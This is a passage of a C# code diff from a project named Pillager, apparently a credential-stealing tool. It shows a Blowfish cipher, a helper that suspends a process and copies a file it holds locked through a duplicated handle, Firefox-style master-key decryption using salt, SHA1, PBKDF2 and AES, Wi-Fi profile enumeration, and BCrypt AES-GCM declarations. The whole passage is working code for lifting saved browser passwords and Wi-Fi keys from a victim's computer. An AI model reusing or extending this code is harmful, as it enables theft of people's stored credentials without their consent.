0x1A908749, 0xD44FBD9A, 0xD0DADECB, 0xD50ADA38, 0x0339C32A, 0xC6913667, 0x8DF9317C, 0xE0B12B4F, 0xF79E59B7, 0x43F5BB3A, 0xF2D519FF, 0x27D9459C, 0xBF97222C, 0x15E6FC2A, 0x0F91FC71, 0x9B941525,
|
||||
0xFAE59361, 0xCEB69CEB, 0xC2A86459, 0x12BAA8D1, 0xB6C1075E, 0xE3056A0C, 0x10D25065, 0xCB03A442, 0xE0EC6E0E, 0x1698DB3B, 0x4C98A0BE, 0x3278E964, 0x9F1F9532, 0xE0D392DF, 0xD3A0342B, 0x8971F21E,
|
||||
0x1B0A7441, 0x4BA3348C, 0xC5BE7120, 0xC37632D8, 0xDF359F8D, 0x9B992F2E, 0xE60B6F47, 0x0FE3F11D, 0xE54CDA54, 0x1EDAD891, 0xCE6279CF, 0xCD3E7E6F, 0x1618B166, 0xFD2C1D05, 0x848FD2C5, 0xF6FB2299,
|
||||
0xF523F357, 0xA6327623, 0x93A83531, 0x56CCCD02, 0xACF08162, 0x5A75EBB5, 0x6E163697, 0x88D273CC, 0xDE966292, 0x81B949D0, 0x4C50901B, 0x71C65614, 0xE6C6C7BD, 0x327A140A, 0x45E1D006, 0xC3F27B9A,
|
||||
0xC9AA53FD, 0x62A80F00, 0xBB25BFE2, 0x35BDD2F6, 0x71126905, 0xB2040222, 0xB6CBCF7C, 0xCD769C2B, 0x53113EC0, 0x1640E3D3, 0x38ABBD60, 0x2547ADF0, 0xBA38209C, 0xF746CE76, 0x77AFA1C5, 0x20756060,
|
||||
0x85CBFE4E, 0x8AE88DD8, 0x7AAAF9B0, 0x4CF9AA7E, 0x1948C25C, 0x02FB8A8C, 0x01C36AE4, 0xD6EBE1F9, 0x90D4F869, 0xA65CDEA0, 0x3F09252D, 0xC208E69F, 0xB74E6132, 0xCE77E25B, 0x578FDFE3, 0x3AC372E6
|
||||
}
|
||||
};
|
||||
|
||||
private uint[] SubKey;
|
||||
private uint[,] SBox;
|
||||
|
||||
private uint _F_Transform(uint x)
|
||||
{
|
||||
byte[] x_bytes = BitConverter.GetBytes(x);
|
||||
if (BitConverter.IsLittleEndian == false)
|
||||
Array.Reverse(x_bytes);
|
||||
return ((SBox[0, x_bytes[3]] + SBox[1, x_bytes[2]]) ^ SBox[2, x_bytes[1]]) + SBox[3, x_bytes[0]];
|
||||
}
|
||||
|
||||
public void Encrypt(byte[] srcBytes, Endian endian)
|
||||
{
|
||||
byte[] L_bytes = new byte[4];
|
||||
byte[] R_bytes = new byte[4];
|
||||
Array.Copy(srcBytes, 0, L_bytes, 0, 4);
|
||||
Array.Copy(srcBytes, 4, R_bytes, 0, 4);
|
||||
|
||||
if (BitConverter.IsLittleEndian && endian == Endian.Big || BitConverter.IsLittleEndian == false && endian == Endian.Little)
|
||||
{
|
||||
Array.Reverse(L_bytes);
|
||||
Array.Reverse(R_bytes);
|
||||
}
|
||||
|
||||
uint L = BitConverter.ToUInt32(L_bytes, 0);
|
||||
uint R = BitConverter.ToUInt32(R_bytes, 0);
|
||||
|
||||
L ^= SubKey[0];
|
||||
R ^= _F_Transform(L);
|
||||
|
||||
R ^= SubKey[1];
|
||||
L ^= _F_Transform(R);
|
||||
|
||||
L ^= SubKey[2];
|
||||
R ^= _F_Transform(L);
|
||||
|
||||
R ^= SubKey[3];
|
||||
L ^= _F_Transform(R);
|
||||
|
||||
L ^= SubKey[4];
|
||||
R ^= _F_Transform(L);
|
||||
|
||||
R ^= SubKey[5];
|
||||
L ^= _F_Transform(R);
|
||||
|
||||
L ^= SubKey[6];
|
||||
R ^= _F_Transform(L);
|
||||
|
||||
R ^= SubKey[7];
|
||||
L ^= _F_Transform(R);
|
||||
|
||||
L ^= SubKey[8];
|
||||
R ^= _F_Transform(L);
|
||||
|
||||
R ^= SubKey[9];
|
||||
L ^= _F_Transform(R);
|
||||
|
||||
L ^= SubKey[10];
|
||||
R ^= _F_Transform(L);
|
||||
|
||||
R ^= SubKey[11];
|
||||
L ^= _F_Transform(R);
|
||||
|
||||
L ^= SubKey[12];
|
||||
R ^= _F_Transform(L);
|
||||
|
||||
R ^= SubKey[13];
|
||||
L ^= _F_Transform(R);
|
||||
|
||||
L ^= SubKey[14];
|
||||
R ^= _F_Transform(L);
|
||||
|
||||
R ^= SubKey[15];
|
||||
L ^= _F_Transform(R);
|
||||
|
||||
L ^= SubKey[16];
|
||||
R ^= SubKey[17];
|
||||
|
||||
L_bytes = BitConverter.GetBytes(R);
|
||||
R_bytes = BitConverter.GetBytes(L);
|
||||
|
||||
if (BitConverter.IsLittleEndian && endian == Endian.Big || BitConverter.IsLittleEndian == false && endian == Endian.Little)
|
||||
{
|
||||
Array.Reverse(L_bytes);
|
||||
Array.Reverse(R_bytes);
|
||||
}
|
||||
|
||||
Array.Copy(L_bytes, 0, srcBytes, 0, 4);
|
||||
Array.Copy(R_bytes, 0, srcBytes, 4, 4);
|
||||
}
|
||||
|
||||
public void Decrypt(byte[] srcBytes, Endian endian)
|
||||
{
|
||||
byte[] L_bytes = new byte[4];
|
||||
byte[] R_bytes = new byte[4];
|
||||
Array.Copy(srcBytes, 0, L_bytes, 0, 4);
|
||||
Array.Copy(srcBytes, 4, R_bytes, 0, 4);
|
||||
|
||||
if (BitConverter.IsLittleEndian && endian == Endian.Big || BitConverter.IsLittleEndian == false && endian == Endian.Little)
|
||||
{
|
||||
Array.Reverse(L_bytes);
|
||||
Array.Reverse(R_bytes);
|
||||
}
|
||||
|
||||
uint L = BitConverter.ToUInt32(R_bytes, 0);
|
||||
uint R = BitConverter.ToUInt32(L_bytes, 0);
|
||||
|
||||
L ^= SubKey[16];
|
||||
R ^= SubKey[17];
|
||||
|
||||
L ^= _F_Transform(R);
|
||||
R ^= SubKey[15];
|
||||
|
||||
R ^= _F_Transform(L);
|
||||
L ^= SubKey[14];
|
||||
|
||||
L ^= _F_Transform(R);
|
||||
R ^= SubKey[13];
|
||||
|
||||
R ^= _F_Transform(L);
|
||||
L ^= SubKey[12];
|
||||
|
||||
L ^= _F_Transform(R);
|
||||
R ^= SubKey[11];
|
||||
|
||||
R ^= _F_Transform(L);
|
||||
L ^= SubKey[10];
|
||||
|
||||
L ^= _F_Transform(R);
|
||||
R ^= SubKey[9];
|
||||
|
||||
R ^= _F_Transform(L);
|
||||
L ^= SubKey[8];
|
||||
|
||||
L ^= _F_Transform(R);
|
||||
R ^= SubKey[7];
|
||||
|
||||
R ^= _F_Transform(L);
|
||||
L ^= SubKey[6];
|
||||
|
||||
L ^= _F_Transform(R);
|
||||
R ^= SubKey[5];
|
||||
|
||||
R ^= _F_Transform(L);
|
||||
L ^= SubKey[4];
|
||||
|
||||
L ^= _F_Transform(R);
|
||||
R ^= SubKey[3];
|
||||
|
||||
R ^= _F_Transform(L);
|
||||
L ^= SubKey[2];
|
||||
|
||||
L ^= _F_Transform(R);
|
||||
R ^= SubKey[1];
|
||||
|
||||
R ^= _F_Transform(L);
|
||||
L ^= SubKey[0];
|
||||
|
||||
L_bytes = BitConverter.GetBytes(L);
|
||||
R_bytes = BitConverter.GetBytes(R);
|
||||
|
||||
if (BitConverter.IsLittleEndian && endian == Endian.Big || BitConverter.IsLittleEndian == false && endian == Endian.Little)
|
||||
{
|
||||
Array.Reverse(L_bytes);
|
||||
Array.Reverse(R_bytes);
|
||||
}
|
||||
|
||||
Array.Copy(L_bytes, 0, srcBytes, 0, 4);
|
||||
Array.Copy(R_bytes, 0, srcBytes, 4, 4);
|
||||
}
|
||||
|
||||
public Blowfish(byte[] UserKey)
|
||||
{
|
||||
if (UserKey.Length < MinUserKeyLength)
|
||||
throw new ArgumentException("UserKey is too short.");
|
||||
if (UserKey.Length > 56)
|
||||
throw new ArgumentException("UserKey is too long.");
|
||||
|
||||
|
||||
SubKey = OriginPBox.Clone() as uint[];
|
||||
SBox = OriginSBox.Clone() as uint[,];
|
||||
|
||||
for (int i = 0; i < 18; ++i)
|
||||
{
|
||||
uint temp = 0;
|
||||
|
||||
temp <<= 8;
|
||||
temp |= UserKey[(i * 4) % UserKey.Length];
|
||||
temp <<= 8;
|
||||
temp |= UserKey[(i * 4 + 1) % UserKey.Length];
|
||||
temp <<= 8;
|
||||
temp |= UserKey[(i * 4 + 2) % UserKey.Length];
|
||||
temp <<= 8;
|
||||
temp |= UserKey[(i * 4 + 3) % UserKey.Length];
|
||||
|
||||
SubKey[i] ^= temp;
|
||||
}
|
||||
|
||||
byte[] _temp = new byte[8];
|
||||
for (int i = 0; i < 9; ++i)
|
||||
{
|
||||
Encrypt(_temp, Endian.Little);
|
||||
Buffer.BlockCopy(_temp, 0, SubKey, sizeof(uint) * 2 * i, 8);
|
||||
}
|
||||
|
||||
for (int i = 0; i < 4; ++i)
|
||||
{
|
||||
for (int j = 0; j < 128; ++j)
|
||||
{
|
||||
Encrypt(_temp, Endian.Little);
|
||||
Buffer.BlockCopy(_temp, 0, SBox, 256 * sizeof(uint) * i + sizeof(ulong) * j, sizeof(ulong));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
|
@ -13,15 +13,13 @@ namespace Pillager.Helper
|
|||
{
|
||||
int pid = GetProcessIDByFileName(fileName)[0];
|
||||
IntPtr hfile = DuplicateHandleByFileName(pid, fileName);
|
||||
uint read;
|
||||
int oldFilePointer = 0;
|
||||
oldFilePointer = Native.SetFilePointer(hfile, 0, 0, 1);
|
||||
var oldFilePointer = Native.SetFilePointer(hfile, 0, 0, 1);
|
||||
int size = Native.SetFilePointer(hfile, 0, 0, 2);
|
||||
byte[] fileBuffer = new byte[size];
|
||||
IntPtr hProcess = Native.OpenProcess(Native.PROCESS_ACCESS_FLAGS.PROCESS_SUSPEND_RESUME, false, pid);
|
||||
Native.NtSuspendProcess(hProcess);
|
||||
Native.SetFilePointer(hfile, 0, 0, 0);
|
||||
Native.ReadFile(hfile, fileBuffer, (uint)size, out read, IntPtr.Zero);
|
||||
Native.ReadFile(hfile, fileBuffer, (uint)size, out _, IntPtr.Zero);
|
||||
Native.SetFilePointer(hfile, oldFilePointer, 0, 0);
|
||||
Native.CloseHandle(hfile);
|
||||
Native.NtResumeProcess(hProcess);
|
||||
|
@ -103,12 +101,10 @@ namespace Pillager.Helper
|
|||
|
||||
public static IntPtr FindHandleByFileName(Native.SYSTEM_HANDLE_INFORMATION systemHandleInformation, string filename, IntPtr processHandle)
|
||||
{
|
||||
IntPtr ipHandle = IntPtr.Zero;
|
||||
IntPtr openProcessHandle = processHandle;
|
||||
IntPtr hObjectBasicInfo = IntPtr.Zero;
|
||||
try
|
||||
{
|
||||
if (!Native.DuplicateHandle(openProcessHandle, new IntPtr(systemHandleInformation.Handle), Native.GetCurrentProcess(), out ipHandle, 0, false, Native.DUPLICATE_SAME_ACCESS))
|
||||
if (!Native.DuplicateHandle(openProcessHandle, new IntPtr(systemHandleInformation.Handle), Native.GetCurrentProcess(), out var ipHandle, 0, false, Native.DUPLICATE_SAME_ACCESS))
|
||||
{
|
||||
return IntPtr.Zero;
|
||||
}
|
||||
|
@ -146,9 +142,9 @@ namespace Pillager.Helper
|
|||
List<Native.SYSTEM_HANDLE_INFORMATION> syshInfos = GetHandles(pid);
|
||||
IntPtr processHandle = GetProcessHandle(pid);
|
||||
|
||||
for (int i = 0; i < syshInfos.Count; i++)
|
||||
foreach (var t in syshInfos)
|
||||
{
|
||||
handle = FindHandleByFileName(syshInfos[i], fileName, processHandle);
|
||||
handle = FindHandleByFileName(t, fileName, processHandle);
|
||||
if (handle != IntPtr.Zero)
|
||||
{
|
||||
Native.CloseHandle(processHandle);
|
||||
|
@ -192,18 +188,12 @@ namespace Pillager.Helper
|
|||
|
||||
IntPtr readBuffer = bufferPtr;
|
||||
int numEntries = Marshal.ReadInt32(readBuffer); // NumberOfProcessIdsInList
|
||||
if (IntPtr.Size == 8)
|
||||
readBuffer = new IntPtr(readBuffer.ToInt64() + IntPtr.Size);
|
||||
else
|
||||
readBuffer = new IntPtr(readBuffer.ToInt32() + IntPtr.Size);
|
||||
readBuffer = IntPtr.Size == 8 ? new IntPtr(readBuffer.ToInt64() + IntPtr.Size) : new IntPtr(readBuffer.ToInt32() + IntPtr.Size);
|
||||
for (int i = 0; i < numEntries; i++)
|
||||
{
|
||||
IntPtr processId = Marshal.ReadIntPtr(readBuffer); // A single ProcessIdList[] element
|
||||
result.Add(processId.ToInt32());
|
||||
if (IntPtr.Size == 8)
|
||||
readBuffer = new IntPtr(readBuffer.ToInt64() + IntPtr.Size);
|
||||
else
|
||||
readBuffer = new IntPtr(readBuffer.ToInt32() + IntPtr.Size);
|
||||
readBuffer = IntPtr.Size == 8 ? new IntPtr(readBuffer.ToInt64() + IntPtr.Size) : new IntPtr(readBuffer.ToInt32() + IntPtr.Size);
|
||||
}
|
||||
}
|
||||
catch { return result; }
|
||||
|
|
|
@ -1,7 +1,4 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
using System.IO;
|
||||
|
||||
namespace Pillager.Helper
|
||||
{
|
||||
|
@ -21,7 +18,7 @@ namespace Pillager.Helper
|
|||
string targetFilePath = Path.Combine(destinationDir, file.Name);
|
||||
try
|
||||
{
|
||||
file.CopyTo(targetFilePath);
|
||||
File.WriteAllBytes(targetFilePath, File.ReadAllBytes(file.FullName));
|
||||
}
|
||||
catch
|
||||
{
|
||||
|
|
|
@ -1,6 +1,4 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Text;
|
||||
using System.Security.Cryptography;
|
||||
|
||||
namespace Pillager.Helper
|
||||
|
@ -24,32 +22,28 @@ namespace Pillager.Helper
|
|||
|
||||
public byte[] Compute()
|
||||
{
|
||||
byte[] GLMP; // GlobalSalt + MasterPassword
|
||||
byte[] HP; // SHA1(GLMP)
|
||||
byte[] IV; // ivPrefix + partIV
|
||||
byte[] key; // ivPrefix + partIV
|
||||
int iterations = 1;
|
||||
int keyLength = 32;
|
||||
|
||||
// GLMP
|
||||
GLMP = new byte[this.GlobalSalt.Length + this.MasterPassword.Length];
|
||||
Buffer.BlockCopy(this.GlobalSalt, 0, GLMP, 0, this.GlobalSalt.Length);
|
||||
Buffer.BlockCopy(this.MasterPassword, 0, GLMP, this.GlobalSalt.Length, this.MasterPassword.Length);
|
||||
var GLMP = new byte[GlobalSalt.Length + MasterPassword.Length]; // GlobalSalt + MasterPassword
|
||||
Buffer.BlockCopy(GlobalSalt, 0, GLMP, 0, GlobalSalt.Length);
|
||||
Buffer.BlockCopy(MasterPassword, 0, GLMP, GlobalSalt.Length, MasterPassword.Length);
|
||||
|
||||
// HP
|
||||
HP = new SHA1Managed().ComputeHash(GLMP);
|
||||
var HP = new SHA1Managed().ComputeHash(GLMP); // SHA1(GLMP)
|
||||
|
||||
// IV
|
||||
byte[] ivPrefix = new byte[2] { 0x04, 0x0e };
|
||||
IV = new byte[ivPrefix.Length + this.partIV.Length];
|
||||
byte[] ivPrefix = { 0x04, 0x0e };
|
||||
var IV = new byte[ivPrefix.Length + partIV.Length]; // ivPrefix + partIV
|
||||
Buffer.BlockCopy(ivPrefix, 0, IV, 0, ivPrefix.Length);
|
||||
Buffer.BlockCopy(this.partIV, 0, IV, ivPrefix.Length, this.partIV.Length);
|
||||
Buffer.BlockCopy(partIV, 0, IV, ivPrefix.Length, partIV.Length);
|
||||
|
||||
// .NET 4.6 doesn't have support for PBKDF2 with SHA256, it was introduced in .NET 4.7.2
|
||||
// I wanna stick with .NET 4.6 so I'll use this PBKDF2_SHA256 implementation by medo64(https://github.com/medo64)
|
||||
// (https://github.com/medo64/Medo/blob/master/Source/Medo/Security/Cryptography/Pbkdf2%20%5B001%5D.cs)
|
||||
var df = new Pbkdf2(new HMACSHA256(), HP, this.EntrySalt, iterations);
|
||||
key = df.GetBytes(keyLength);
|
||||
var df = new Pbkdf2(new HMACSHA256(), HP, EntrySalt, iterations);
|
||||
var key = df.GetBytes(keyLength); // ivPrefix + partIV
|
||||
|
||||
// AES-CBC-256 settings
|
||||
Aes aes = new AesManaged
|
||||
|
@ -62,7 +56,7 @@ namespace Pillager.Helper
|
|||
|
||||
// Decrypt AES cipher text
|
||||
ICryptoTransform AESDecrypt = aes.CreateDecryptor(key, IV);
|
||||
var clearText = AESDecrypt.TransformFinalBlock(this.cipherText, 0, this.cipherText.Length);
|
||||
var clearText = AESDecrypt.TransformFinalBlock(cipherText, 0, cipherText.Length);
|
||||
|
||||
return clearText;
|
||||
}
|
||||
|
|
|
@ -1,5 +1,4 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
|
@ -8,6 +7,9 @@ namespace Pillager.Helper
|
|||
{
|
||||
public static class Native
|
||||
{
|
||||
[DllImport("kernel32", SetLastError = true)]
|
||||
[return: MarshalAs(UnmanagedType.Bool)]
|
||||
public static extern bool IsWow64Process(IntPtr hProcess, out bool wow64Process);
|
||||
[DllImport("shell32.dll")]
|
||||
public static extern int SHGetFolderPath(IntPtr hwndOwner, int nFolder, IntPtr hToken, uint dwFlags, [Out] StringBuilder pszPath);
|
||||
[DllImport("user32.dll", SetLastError = true)]
|
||||
|
@ -21,108 +23,6 @@ namespace Pillager.Helper
|
|||
[DllImport("kernel32.dll", EntryPoint = "SetFilePointer")]
|
||||
public static extern int SetFilePointer(IntPtr hFile, int lDistanceToMove, int lpDistanceToMoveHigh, int dwMoveMethod);
|
||||
|
||||
|
||||
[DllImport("Wlanapi.dll")]
|
||||
public static extern int WlanOpenHandle(int dwClientVersion, IntPtr pReserved, [Out] out IntPtr pdwNegotiatedVersion, ref IntPtr ClientHandle);
|
||||
|
||||
[DllImport("Wlanapi", EntryPoint = "WlanCloseHandle")]
|
||||
public static extern uint WlanCloseHandle([In] IntPtr hClientHandle, IntPtr pReserved);
|
||||
|
||||
|
||||
[DllImport("Wlanapi", EntryPoint = "WlanEnumInterfaces")]
|
||||
public static extern uint WlanEnumInterfaces([In] IntPtr hClientHandle, IntPtr pReserved, ref IntPtr ppInterfaceList);
|
||||
|
||||
|
||||
[DllImport("wlanapi.dll", SetLastError = true)]
|
||||
public static extern uint WlanGetProfile([In] IntPtr clientHandle, [In, MarshalAs(UnmanagedType.LPStruct)] Guid interfaceGuid, [In, MarshalAs(UnmanagedType.LPWStr)] string profileName, [In] IntPtr pReserved, [Out, MarshalAs(UnmanagedType.LPWStr)] out string profileXml, [In, Out, Optional] ref int flags, [Out, Optional] out IntPtr pdwGrantedAccess);
|
||||
|
||||
[DllImport("wlanapi.dll", SetLastError = true, CallingConvention = CallingConvention.Winapi)]
|
||||
public static extern uint WlanGetProfileList([In] IntPtr clientHandle, [In, MarshalAs(UnmanagedType.LPStruct)] Guid interfaceGuid, [In] IntPtr pReserved, ref IntPtr profileList);
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct WLAN_INTERFACE_INFO_LIST
|
||||
{
|
||||
|
||||
public int dwNumberofItems;
|
||||
public int dwIndex;
|
||||
public WLAN_INTERFACE_INFO[] InterfaceInfo;
|
||||
|
||||
|
||||
public WLAN_INTERFACE_INFO_LIST(IntPtr pList)
|
||||
{
|
||||
dwNumberofItems = (int)Marshal.ReadInt64(pList, 0);
|
||||
dwIndex = (int)Marshal.ReadInt64(pList, 4);
|
||||
InterfaceInfo = new WLAN_INTERFACE_INFO[dwNumberofItems];
|
||||
for (int i = 0; i < dwNumberofItems; i++)
|
||||
{
|
||||
IntPtr pItemList = new IntPtr(pList.ToInt64() + (i * 532) + 8);
|
||||
WLAN_INTERFACE_INFO wii = new WLAN_INTERFACE_INFO();
|
||||
wii = (WLAN_INTERFACE_INFO)Marshal.PtrToStructure(pItemList, typeof(WLAN_INTERFACE_INFO));
|
||||
InterfaceInfo[i] = wii;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
|
||||
public struct WLAN_INTERFACE_INFO
|
||||
{
|
||||
public Guid InterfaceGuid;
|
||||
|
||||
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 256)]
|
||||
public string strInterfaceDescription;
|
||||
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
|
||||
public struct WLAN_PROFILE_INFO
|
||||
{
|
||||
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 256)]
|
||||
public string strProfileName;
|
||||
public WlanProfileFlags ProfileFLags;
|
||||
}
|
||||
|
||||
[Flags]
|
||||
public enum WlanProfileFlags
|
||||
{
|
||||
AllUser = 0,
|
||||
GroupPolicy = 1,
|
||||
User = 2
|
||||
}
|
||||
|
||||
public struct WLAN_PROFILE_INFO_LIST
|
||||
{
|
||||
public int dwNumberOfItems;
|
||||
public int dwIndex;
|
||||
public WLAN_PROFILE_INFO[] ProfileInfo;
|
||||
|
||||
public WLAN_PROFILE_INFO_LIST(IntPtr ppProfileList)
|
||||
{
|
||||
dwNumberOfItems = (int)Marshal.ReadInt64(ppProfileList);
|
||||
dwIndex = (int)Marshal.ReadInt64(ppProfileList, 4);
|
||||
ProfileInfo = new WLAN_PROFILE_INFO[dwNumberOfItems];
|
||||
IntPtr ppProfileListTemp = new IntPtr(ppProfileList.ToInt64() + 8);
|
||||
|
||||
for (int i = 0; i < dwNumberOfItems; i++)
|
||||
{
|
||||
ppProfileList = new IntPtr(ppProfileListTemp.ToInt64() + i * Marshal.SizeOf(typeof(WLAN_PROFILE_INFO)));
|
||||
ProfileInfo[i] = (WLAN_PROFILE_INFO)Marshal.PtrToStructure(ppProfileList, typeof(WLAN_PROFILE_INFO));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
internal const int PROCESS_TERMINATE = 0x0001;
|
||||
internal const int PROCESS_CREATE_THREAD = 0x0002;
|
||||
internal const int PROCESS_DUP_HANDLE = 0x0040;
|
||||
internal const int PROCESS_CREATE_PROCESS = 0x0080;
|
||||
internal const int PROCESS_SET_QUOTA = 0x0100;
|
||||
internal const int PROCESS_SET_INFORMATION = 0x0200;
|
||||
internal const int PROCESS_SUSPEND_RESUME = 0x0800;
|
||||
internal const int PROCESS_QUERY_INFORMATION = 0x400;
|
||||
internal const int PROCESS_QUERY_LIMITED_INFORMATION = 0x1000;
|
||||
internal const int PROCESS_VM_OPERATION = 0x08;
|
||||
internal const int PROCESS_VM_READ = 0x10;
|
||||
internal const int PROCESS_VM_WRITE = 0x20;
|
||||
|
||||
[StructLayout(LayoutKind.Sequential, Pack = 1)]
|
||||
public struct SYSTEM_HANDLE_INFORMATION
|
||||
{ // Information Class 16
|
||||
|
@ -135,7 +35,7 @@ namespace Pillager.Helper
|
|||
public IntPtr AccessMask;
|
||||
}
|
||||
|
||||
public enum OBJECT_INFORMATION_CLASS : int
|
||||
public enum OBJECT_INFORMATION_CLASS
|
||||
{
|
||||
ObjectBasicInformation = 0,
|
||||
ObjectNameInformation = 1,
|
||||
|
@ -220,9 +120,6 @@ namespace Pillager.Helper
|
|||
[DllImport("kernel32.dll")]
|
||||
public static extern bool CloseHandle(IntPtr hObject);
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
public static extern bool GetHandleInformation(IntPtr hObject, out uint lpdwFlags);
|
||||
|
||||
[DllImport("ntdll.dll")]
|
||||
public static extern uint NtQuerySystemInformation(int SystemInformationClass, IntPtr SystemInformation, int SystemInformationLength, ref int returnLength);
|
||||
|
||||
|
@ -332,5 +229,330 @@ namespace Pillager.Helper
|
|||
FileNetworkPhysicalNameInformation = 49,
|
||||
FileMaximumInformation = 50
|
||||
}
|
||||
|
||||
|
||||
#region WLAN
|
||||
[DllImport("Wlanapi.dll")]
|
||||
public static extern int WlanOpenHandle(int dwClientVersion, IntPtr pReserved, [Out] out IntPtr pdwNegotiatedVersion, ref IntPtr ClientHandle);
|
||||
|
||||
[DllImport("Wlanapi", EntryPoint = "WlanCloseHandle")]
|
||||
public static extern uint WlanCloseHandle([In] IntPtr hClientHandle, IntPtr pReserved);
|
||||
|
||||
|
||||
[DllImport("Wlanapi", EntryPoint = "WlanEnumInterfaces")]
|
||||
public static extern uint WlanEnumInterfaces([In] IntPtr hClientHandle, IntPtr pReserved, ref IntPtr ppInterfaceList);
|
||||
|
||||
|
||||
[DllImport("wlanapi.dll", SetLastError = true)]
|
||||
public static extern uint WlanGetProfile([In] IntPtr clientHandle, [In, MarshalAs(UnmanagedType.LPStruct)] Guid interfaceGuid, [In, MarshalAs(UnmanagedType.LPWStr)] string profileName, [In] IntPtr pReserved, [Out, MarshalAs(UnmanagedType.LPWStr)] out string profileXml, [In, Out, Optional] ref int flags, [Out, Optional] out IntPtr pdwGrantedAccess);
|
||||
|
||||
[DllImport("wlanapi.dll", SetLastError = true, CallingConvention = CallingConvention.Winapi)]
|
||||
public static extern uint WlanGetProfileList([In] IntPtr clientHandle, [In, MarshalAs(UnmanagedType.LPStruct)] Guid interfaceGuid, [In] IntPtr pReserved, ref IntPtr profileList);
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public struct WLAN_INTERFACE_INFO_LIST
|
||||
{
|
||||
|
||||
public int dwNumberofItems;
|
||||
public int dwIndex;
|
||||
public WLAN_INTERFACE_INFO[] InterfaceInfo;
|
||||
|
||||
|
||||
public WLAN_INTERFACE_INFO_LIST(IntPtr pList)
|
||||
{
|
||||
dwNumberofItems = (int)Marshal.ReadInt64(pList, 0);
|
||||
dwIndex = (int)Marshal.ReadInt64(pList, 4);
|
||||
InterfaceInfo = new WLAN_INTERFACE_INFO[dwNumberofItems];
|
||||
for (int i = 0; i < dwNumberofItems; i++)
|
||||
{
|
||||
IntPtr pItemList = new IntPtr(pList.ToInt64() + (i * 532) + 8);
|
||||
var wii = (WLAN_INTERFACE_INFO)Marshal.PtrToStructure(pItemList, typeof(WLAN_INTERFACE_INFO));
|
||||
InterfaceInfo[i] = wii;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
|
||||
public struct WLAN_INTERFACE_INFO
|
||||
{
|
||||
public Guid InterfaceGuid;
|
||||
|
||||
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 256)]
|
||||
public string strInterfaceDescription;
|
||||
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
|
||||
public struct WLAN_PROFILE_INFO
|
||||
{
|
||||
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 256)]
|
||||
public string strProfileName;
|
||||
public WlanProfileFlags ProfileFLags;
|
||||
}
|
||||
|
||||
[Flags]
|
||||
public enum WlanProfileFlags
|
||||
{
|
||||
AllUser = 0,
|
||||
GroupPolicy = 1,
|
||||
User = 2
|
||||
}
|
||||
|
||||
public struct WLAN_PROFILE_INFO_LIST
|
||||
{
|
||||
public int dwNumberOfItems;
|
||||
public int dwIndex;
|
||||
public WLAN_PROFILE_INFO[] ProfileInfo;
|
||||
|
||||
public WLAN_PROFILE_INFO_LIST(IntPtr ppProfileList)
|
||||
{
|
||||
dwNumberOfItems = (int)Marshal.ReadInt64(ppProfileList);
|
||||
dwIndex = (int)Marshal.ReadInt64(ppProfileList, 4);
|
||||
ProfileInfo = new WLAN_PROFILE_INFO[dwNumberOfItems];
|
||||
IntPtr ppProfileListTemp = new IntPtr(ppProfileList.ToInt64() + 8);
|
||||
|
||||
for (int i = 0; i < dwNumberOfItems; i++)
|
||||
{
|
||||
ppProfileList = new IntPtr(ppProfileListTemp.ToInt64() + i * Marshal.SizeOf(typeof(WLAN_PROFILE_INFO)));
|
||||
ProfileInfo[i] = (WLAN_PROFILE_INFO)Marshal.PtrToStructure(ppProfileList, typeof(WLAN_PROFILE_INFO));
|
||||
}
|
||||
}
|
||||
}
|
||||
#endregion
|
||||
|
||||
#region BCrypt
|
||||
public const uint ERROR_SUCCESS = 0x00000000;
|
||||
public const uint BCRYPT_PAD_PSS = 8;
|
||||
public const uint BCRYPT_PAD_OAEP = 4;
|
||||
|
||||
public static readonly byte[] BCRYPT_KEY_DATA_BLOB_MAGIC = BitConverter.GetBytes(0x4d42444b);
|
||||
|
||||
public static readonly string BCRYPT_OBJECT_LENGTH = "ObjectLength";
|
||||
public static readonly string BCRYPT_CHAIN_MODE_GCM = "ChainingModeGCM";
|
||||
public static readonly string BCRYPT_AUTH_TAG_LENGTH = "AuthTagLength";
|
||||
public static readonly string BCRYPT_CHAINING_MODE = "ChainingMode";
|
||||
public static readonly string BCRYPT_KEY_DATA_BLOB = "KeyDataBlob";
|
||||
public static readonly string BCRYPT_AES_ALGORITHM = "AES";
|
||||
|
||||
public static readonly string MS_PRIMITIVE_PROVIDER = "Microsoft Primitive Provider";
|
||||
|
||||
public static readonly int BCRYPT_AUTH_MODE_CHAIN_CALLS_FLAG = 0x00000001;
|
||||
public static readonly int BCRYPT_INIT_AUTH_MODE_INFO_VERSION = 0x00000001;
|
||||
|
||||
public static readonly uint STATUS_AUTH_TAG_MISMATCH = 0xC000A002;
|
||||
|
||||
[DllImport("bcrypt.dll")]
|
||||
public static extern uint BCryptOpenAlgorithmProvider(out IntPtr phAlgorithm,
|
||||
[MarshalAs(UnmanagedType.LPWStr)] string pszAlgId,
|
||||
[MarshalAs(UnmanagedType.LPWStr)] string pszImplementation,
|
||||
uint dwFlags);
|
||||
|
||||
[DllImport("bcrypt.dll")]
|
||||
public static extern uint BCryptCloseAlgorithmProvider(IntPtr hAlgorithm, uint flags);
|
||||
|
||||
[DllImport("bcrypt.dll", EntryPoint = "BCryptGetProperty")]
|
||||
